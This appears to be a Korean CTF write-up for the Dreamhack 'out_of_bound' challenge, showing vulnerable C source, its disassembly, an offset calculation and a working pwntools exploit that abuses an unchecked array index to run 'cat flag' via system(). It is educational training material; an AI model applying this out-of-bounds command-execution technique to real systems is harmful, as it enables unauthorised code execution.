Dreamhack out_of_bound 문제풀이
out of bound(OOB)는 버퍼의 길이를 벗어나는 인덱스를 참조하려 할때 발생할 수 있는 취약점이다.
이번 문제의 소스코드를 먼저 살펴보자.
char name[16];
char *command[10] = { "cat",
"ls",
"id",
"ps",
"file ./oob" };
void alarm_handler()
{
puts("TIME OUT");
exit(-1);
}
void initialize()
{
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
int main()
{
int idx;
initialize();
printf("Admin name: ");
read(0, name, sizeof(name));
printf("What do you want?: ");
scanf("%d", &idx);
system(command[idx]);
return 0;
}
main함수를 따라가면서 살펴보면 먼저 관리자 이름을 name이라는 변수에 입력 받는다. 이후 What do you want?라는 문구와 함께 어떤 작업을 실행할 것인지 int형을 scanf로 입력 받는다. 이후 입력받은 값을 idx라는 변수에 넣고 system함수를 통해 command[idx]를 실행하고 프로그램은 종료한다.
system함수는 C언어 내부에서 쉘을 사용할 수 있는 기능을 제공하며 배열 10이 할당되어 있으나 scanf에서는 입력받는 크기가 제한이 없는것을 볼수 있다. 이부분을 공략하면 될 것 같다.
일단 같이 제공된 바이너리를 peda를 통해 disas main 해보자.
0x080486cb <+0>: lea ecx,[esp+0x4]
0x080486cf <+4>: and esp,0xfffffff0
0x080486d2 <+7> : push DWORD PTR [ecx-0x4]
0x080486d5 <+10>: push ebp
0x080486d6 <+11>: mov ebp,esp
0x080486d8 <+13>: push ecx
0x080486d9 <+14>: sub esp,0x14
0x080486dc <+17>: mov eax,gs:0x14
0x080486e2 <+23>: mov DWORD PTR [ebp-0xc],eax
0x080486e5 <+26>: xor eax,eax
0x080486e7 <+28>: call 0x804867b <initialize>
0x080486ec <+33>: sub esp,0xc
0x080486ef <+36>: push 0x8048811
0x080486f4 <+41>: call 0x80484b0 <printf@plt>
0x080486f9 <+46>: add esp,0x10
0x080486fc <+49>: sub esp,0x4
0x080486ff <+52>: push 0x10
0x08048701 <+54>: push 0x804a0ac
0x08048706 <+59>: push 0x0
0x08048708 <+61>: call 0x80484a0 <read@plt>
0x0804870d <+66>: add esp,0x10
0x08048710 <+69>: sub esp,0xc
0x08048713 <+72>: push 0x804881e
0x08048718 <+77>: call 0x80484b0 <printf@plt>
0x0804871d <+82>: add esp,0x10
0x08048720 <+85>: sub esp,0x8
0x08048723 <+88>: lea eax,[ebp-0x10]
0x08048726 <+91>: push eax
0x08048727 <+92>: push 0x8048832
0x0804872c <+97>: call 0x8048540 <__isoc99_scanf@plt>
0x08048731 <+102>: add esp,0x10
0x08048734 <+105>: mov eax,DWORD PTR [ebp-0x10]
0x08048737 <+108>: mov eax,DWORD PTR [eax*4+0x804a060]
0x0804873e <+115>: sub esp,0xc
0x08048741 <+118>: push eax
0x08048742 <+119>: call 0x8048500 <system@plt>
0x08048747 <+124>: add esp,0x10
0x0804874a <+127>: mov eax,0x0
0x0804874f <+132>: mov edx,DWORD PTR [ebp-0xc]
0x08048752 <+135>: xor edx,DWORD PTR gs:0x14
0x08048759 <+142>: je 0x8048760 <main+149>
0x0804875b <+144>: call 0x80484e0 <__stack_chk_fail@plt>
0x08048760 <+149>: mov ecx,DWORD PTR [ebp-0x4]
0x08048763 <+152>: leave
0x08048764 <+153>: lea esp,[ecx-0x4]
0x08048767 <+156>: ret
우선 집중해서 봐야할 부분은 name의 주소값과 command의 주소값인것 같다.
name : 0x804a0ac
command : 0x804a060
각 주소값의 거리를 계산해 보면 name(0x804a0ac) - command(0x804a060) = 0x4C이다. 4C를 10진수로 변환하면 76이고 포인터 배열이 하나당 4바이트씩 할당하니 76/4를 하면 19가 나온다.
name의 위치는 command주소로 부터 [19]만큼 떨어져 있다고 볼수 있다. 그럼 name에는 “/bin/sh”를 주고 idx를 19를 입력하면 될것 같다.
여기서 조심해야 할 것이 system함수이다.
system 함수는 외부 라이브러리이기 때문에 변수주소_4바이트+exec_code(인수)로 구성되어 있다고 한다. 예를 들어 system(“cat flag”); 이라는 명령어를 실행하면 메모리에는 변수주소_4바이트 + cat flag가 들어간다. 따라서 결과 리턴을 위한 name+4의 값과 cat flag를 인수로 줘야 한다.
이제 파이썬을 이용해 익스플로잇 코드를 짜보자
from pwn import *
conn = remote("host2.dreamhack.games", 16966)
print(conn.recv())
payload = p32(0x804a0ac+4) #name주소 + 4byte
payload += b"cat flag"
print(payload)
conn.sendline(payload)
print(conn.recv())
conn.sendline(b"19")
print(conn.recvall().decode('utf-8'))
위 코드를 실행하면 플레그 값을 얻을 수 있다. 이번 문제를 풀면서 system함수의 어셈블리 호출규약을 알아볼 필요성을 느꼈다. 좀더 공부를 하고 포스팅 내용을 보충해야 겠다.